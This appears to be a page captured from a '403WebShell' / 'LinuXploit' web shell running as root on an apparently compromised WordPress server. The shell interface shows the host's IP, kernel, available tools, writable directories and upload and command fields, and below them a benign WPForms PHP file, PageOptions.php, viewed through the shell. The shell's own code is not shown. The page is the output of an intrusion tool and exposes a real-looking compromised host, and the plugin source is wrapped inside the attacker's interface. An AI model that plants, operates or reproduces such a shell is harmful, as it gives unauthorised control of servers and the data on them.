Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/machinox.in/wp-content/plugins/wpforms/src/Pro/Admin/Entries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/machinox.in/wp-content/plugins/wpforms/src/Pro/Admin/Entries/PageOptions.php
<?php

namespace WPForms\Pro\Admin\Entries;

/**
 * Class PageOptions.
 *
 * Handles saving Screen Options for the Entries page.
 *
 * @since 1.8.6
 */
class PageOptions {

	/**
	 * Primary class constructor.
	 *
	 * @since 1.8.6
	 */
	public function __construct() {

		$this->hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.8.6
	 */
	private function hooks() {

		// Setup screen options - this needs to run early.
		add_action( 'load-wpforms_page_wpforms-entries', [ $this, 'screen_options' ] );
		add_filter( 'set-screen-option', [ $this, 'screen_options_set' ], 10, 3 );
		add_filter( 'set_screen_option_wpforms_entries_per_page', [ $this, 'screen_options_set' ], 10, 3 );
	}

	/**
	 * Add per-page screen option to the Entries table.
	 *
	 * @since 1.8.6
	 */
	public function screen_options() {

		if ( ! wpforms_is_admin_page( 'entries', 'list' ) ) {
			return;
		}

		$screen = get_current_screen();

		if ( $screen === null || $screen->id !== 'wpforms_page_wpforms-entries' ) {
			return;
		}

		/**
		 * Filter admin screen option arguments.
		 *
		 * @since 1.8.2
		 *
		 * @param array $args Option-dependent arguments.
		 */
		$args = (array) apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
			'wpforms_entries_list_default_screen_option_args',
			[
				'label'   => esc_html__( 'Number of entries per page:', 'wpforms' ),
				'option'  => 'wpforms_entries_per_page',
				'default' => wpforms()->obj( 'entry' )->get_count_per_page(),
			]
		);

		add_screen_option( 'per_page', $args );
	}

	/**
	 * Entries table per-page screen option value.
	 *
	 * @since 1.8.6
	 *
	 * @param mixed  $status Status.
	 * @param string $option Options.
	 * @param mixed  $value  Value.
	 *
	 * @return mixed
	 */
	public function screen_options_set( $status, $option, $value ) {

		if ( $option === 'wpforms_entries_per_page' ) {
			return $value;
		}

		return $status;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit